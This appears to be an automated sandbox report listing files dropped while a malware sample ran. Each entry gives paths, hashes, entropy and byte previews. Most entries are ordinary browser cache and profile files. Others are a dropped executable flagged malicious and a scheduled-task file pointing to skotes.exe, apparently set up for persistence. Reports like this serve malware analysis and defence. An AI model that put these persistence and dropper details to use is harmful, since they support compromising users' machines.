Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://youtube.com/account?=.....rs.googl%...v3/signin/challenge/pwd","title[.C..cacheKey":0,"ID":6,"docshellUU...D"{755b6f47-1f30-42d3-9205-9519f4d19bb4}","resultPrincipalURI":null,"hasUserInteracte...false,"triggering9.p_base64{..\"3\":{}_..6docIdentifier":7,"persist":true}],"lastAccessed":1732055681749,"hiddey..searchMode...userContextId...attribut...{},"index":1,..TypedValu..."..QClearA.@imag....chrome://global/skin/icons/warning.svg"},R...3...R...f93085e4-33c1-4da7-a972-d5b7ca3d883c...R......Q.(.4Q..o739976Q.<.requestedId..=. .],"select...2,"_closedT..@],"_ ..C..`GroupC...":-1,"busy.......Flags":2167541758,"sizemodeBeforeMinimizq.C"max...,...dth":1164,"height":891,"screenXo.....Y...X..I..orkspace....1a5ccf63-1000-409f-b5c1-afec7f75d4d9","zD..1......W...............:....1":{F.eUpdateD.....startTim..`647709...centCrash..B1},"...:.Pcooki..P[{"ho...."addons.mozilla.org","vO..A8bad2467092e6ddeb0dfa9e5ea54

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 8, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:
MD5:	BB6AF1BFE7DFA2D3D28DCA9C1D5C209F
SHA1:	D216BA7AF17521E30A8FFA1E5804827E6995F8D3
SHA-256:	4154A056F32C1395703E6842800E3987C035290F0B5EFAE666DC2DA978391563
SHA-512:	DC6946DE516315407B216C3C3945D820C3D2CA70C6ADE66BC96439CD304E7AF08FB5DBF17F1DD21E299FB3348E1C5F92FD64892FBF13C8FC002A10FEB6AD107B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.033455461045694
Encrypted:	false
SSDEEP:
MD5:	E934C787C0F0DEAD0D02473B4D103073
SHA1:	11108B6084A61354D41D6DBD03264D13273AEBFC
SHA-256:	246D18DA6CC69F9FABAFF276C8E8552713F82A2F2166F64ED9F88215C450CC97
SHA-512:	20E6167B489E8E7D63029BC87041C93D41CBA7140EE7375325EF658B2C0923BD5E7F06813A8B215391237385F6F5B491A174B9BE4CFE206B3D30E35930E0B174
Malicious:	false
Reputation:	unknown
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-11-19T22:35:12.834Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.033455461045694
Encrypted:	false
SSDEEP:
MD5:	E934C787C0F0DEAD0D02473B4D103073
SHA1:	11108B6084A61354D41D6DBD03264D13273AEBFC
SHA-256:	246D18DA6CC69F9FABAFF276C8E8552713F82A2F2166F64ED9F88215C450CC97
SHA-512:	20E6167B489E8E7D63029BC87041C93D41CBA7140EE7375325EF658B2C0923BD5E7F06813A8B215391237385F6F5B491A174B9BE4CFE206B3D30E35930E0B174
Malicious:	false
Reputation:	unknown
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-11-19T22:35:12.834Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\DocumentsJDGCFBAFBF.exe

Process:	C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1903616
Entropy (8bit):	7.951228386553146
Encrypted:	false
SSDEEP:
MD5:	6232A1AA692FE2B9F3F8E67D35C7DAB7
SHA1:	87DC7BD254CAC48669668A1833C10B8AAB3775BE
SHA-256:	A7CF50803925ABF03BCD899B82745E472E99963B2CD8063AA44249BD6C75395F
SHA-512:	C29F2E3B76FE7C2EF81370990B02EE978B81F8CEEBB191CC218672184AD7FD5046D8088BCC954F62B05F72255CE15D89C909C99CA3D2AB6D097725D13736300A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K......V....@.................................W...k.......H...................d.K...............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...luuuoucb......1.....................@...eogwbmei......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.38013202038756
Encrypted:	false
SSDEEP:
MD5:	0BF573BA97788BA2D4FA31B6A72AB592
SHA1:	127E0F74FA69C1D0509AE1446FCAD6092F5F8CF0
SHA-256:	BDE88B69538A1AAA79A4402940DA2980D1BA44213914C79A02F1AC1D071CDA66
SHA-512:	752E287072C256442D8357A00B6E451BD49E6B0D31043514C473E8E7B5002F88D9813F807DFDDF43580EE5673CC6FFCFFF1AC031F2318C9C3D6B1E4404146A01
Malicious:	false
Reputation:	unknown
Preview:	....c....tqL...r2*.OF.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Chrome Cache Entry: 134

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 135

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 136

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Reputation:	unknown
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 137

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Reputation:	unknown
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 138

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 139

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
Reputation:	unknown
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 140

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
Reputation:	unknown
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 141

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Reputation:	unknown
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 142

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (774)
Category:	dropped
Size (bytes):	779
Entropy (8bit):	5.174350219881166
Encrypted:	false
SSDEEP:
MD5:	CDA87B17D6D30F87B864EA4B7307B967
SHA1:	352EAA742434042F334B6B4A9C777EE9E7B803B0
SHA-256:	776CEDEFB38D34C186C0744404E4A1E67970799DE2805E719DEF95A91E4F3E52
SHA-512:	5F474A397AABCEC87A55845766D3590BC88CBA7364DF4901899E8BA338CC563881775AB36E4CEE278BAFE2325CD6AAA5BBD55D87FA3E9F1E2201C8CBCEF22864
Malicious:	false
Reputation:	unknown
Preview:	)]}'.["",["dutch bros coffee straw topper","kith batman 85th anniversary","canadian football league streaker","oklahoma weather","final jeopardy today","what is bluesky social media","wordle answer november 19","toxel pokemon go"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 143

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 144

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Reputation:	unknown
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 145

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Reputation:	unknown
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 146

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Reputation:	unknown
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 147

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
